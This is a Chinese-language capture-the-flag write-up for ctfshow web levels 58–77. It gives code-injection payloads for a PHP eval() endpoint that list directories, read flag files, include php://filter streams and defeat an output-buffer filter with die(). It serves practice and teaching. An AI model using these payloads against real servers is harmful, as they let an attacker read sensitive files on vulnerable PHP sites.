都是 POST传递参数 执行 eval() 函数
web58
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
没有进行任何过滤
输入c=system(ls);
报错:由于安全原因已被禁用,passthru()、exec()、popen()、parse_ini_file()一样被禁用
fgetss()被弃用
可以采取php内置函数读取目录,也可以采用文件包含传递伪协议方式
知识点:
1、读取目录函数:glob()、scandir()、dir()、readdir()
2、数组指针函数:reset()、current、pos()、end()、next()、prev()、each()、key()
3、显示文件内容函数:show_source()、highlight_file()
4、读取文件内容函数:file_get_contents()、file()、readfile()、php_strip_whitespace()
5、无法直接读取文件函数:fpassthru()、fread()
6、打印输出函数:echo()、print()、print_r()、printf()、sprint()、var_dump()、var_export()
7、文件包含函数:include()、include_once()、require()、require_once()
由于自身水平受限,仅知道以上函数,欢迎补充
payload
此处以 web58 为例,写了多种解法,后续的题都可参考
//一般情况下我们先要获取当前目录,然后读取文件内容 c=show_source(next(array_reverse(scandir(".")))); // .为当前目录,..为上级目录,scandir(".")读出的数组为 .. . flag.php index.php c=highlight_file(next(array_reverse(scandir(".")))); c=show_source(pos(glob("*"))); //glob("*")读出数组为 flag.php index.php
c=highlight_file('flag.php');
c=show_source('falg.php');
//这里我们知道 /var/html/www/ 目录中只有 index.php 和 flag.php 两个文件,因此直接读取flag.php,下列需要右击查看源代码 //先读取,再输出
c=echo file_get_contents('flag.php'); c=print_r(file('flag.php')); c=print_r(readfile('flag.php')); c=print_r(php_strip_whitespace('flag.php'));
//需要先打开文件,再读取内容,最后输出 c=fpassthru(fopen('flag.php','r')); c=print_r(fread(fopen('flag.php','r'),1000));
//文件包含
c=include('flag.php');var_dump(get_defined_vars());
//文件包含传递伪协议 POST c=include $_GET[1]; GET 1=php://filter/read=convert.base64-encode/resource=flag.php
然后对获取的字符进行base64解码
web59
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
代码看着还是一样,但把 readfile()、file_get_contents() 函数禁用了
解法参考58
web60
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
禁用 file()、fpassthru()、fread()
解法参考58
web61
禁用fopen(),解法参考58
62-65
没测出禁用了啥,解法参考58
web66
禁用show_source()
假 flag
此处尝试查看其他目录,在根目录发现 flag.txt 文件
c=print_r(scandir("../../../"));
payload
c=highlight_file("../../../flag.txt"); // flag.txt 所在目录为跟目录,可以用 / 代替 ../../../ c=highlight_file("/".pos(array_slice(scandir('/'),6,1))); //这里提供一种思路,当flag被屏蔽时,php不支持通配符,sql支持
c=include('/flag.txt'); //66-77,出了72、73-76以外都可以使用,注意文件名是否改变,文件路径是否改变
web67
禁用print_r(),可用var_dump()替代,同66
web68
禁用highlight_file()
var_dump() 不能直接读取文件内容,先要使用 php_strip_whitespace() 读取文件内容
payload
c=var_dump(php_strip_whitespace('/flag.txt'));
web69
禁用var_dump()
常用打印输出函数:echo()、print()、print_r()、var_dump() ,除了这四个还有 printf()、sprint() ,与var_dump() 类似的 var_export()
payload
c=printf(php_strip_whitespace('/flag.txt')); c=var_export(php_strip_whitespace('/flag.txt'));
web70
可以看见禁用了 error_reporting()、ini_set() 、highligth_file()
解法同69
web71
69 的两个 payload 依旧有效,但输出结果全被替换成 ?
在71关前附加了index.php文件
index.php文件
<?php error_reporting(0); ini_set('display_errors', 0); // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?> 你要上天吗?
两个都是涉及 php 的输出缓冲区
ob_get_contents():获取输出缓冲区内容
ob_end_clean():清除关闭缓冲区
利用 die()、exit() 终止程序,只执行下列代码
<?php error_reporting(0); ini_set('display_errors', 0); // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c);
payload
//只需要在 69 的基础上加上die(); c=printf(php_strip_whitespace('/flag.txt'));die(); c=var_export(php_strip_whitespace('/flag.txt'));die(); c=include('/flag.txt');die();
web72-74、web77
使用 glob:// 伪协议扫描根目录,除72使用uaf脚本,其余都可用 include() 或 require() 方式获取
web73-76
使用PDO连接数据库load_file读取文件
72-77看不懂
参考
https://www.php.cn/blog/detail/6095.html
https://blog.csdn.net/weixin_43197795/article/details/118113703
标签:web,txt,web58,..,flag,ctfshow,file,var,php From: https://www.cnblogs.com/IFS-/p/17128964.html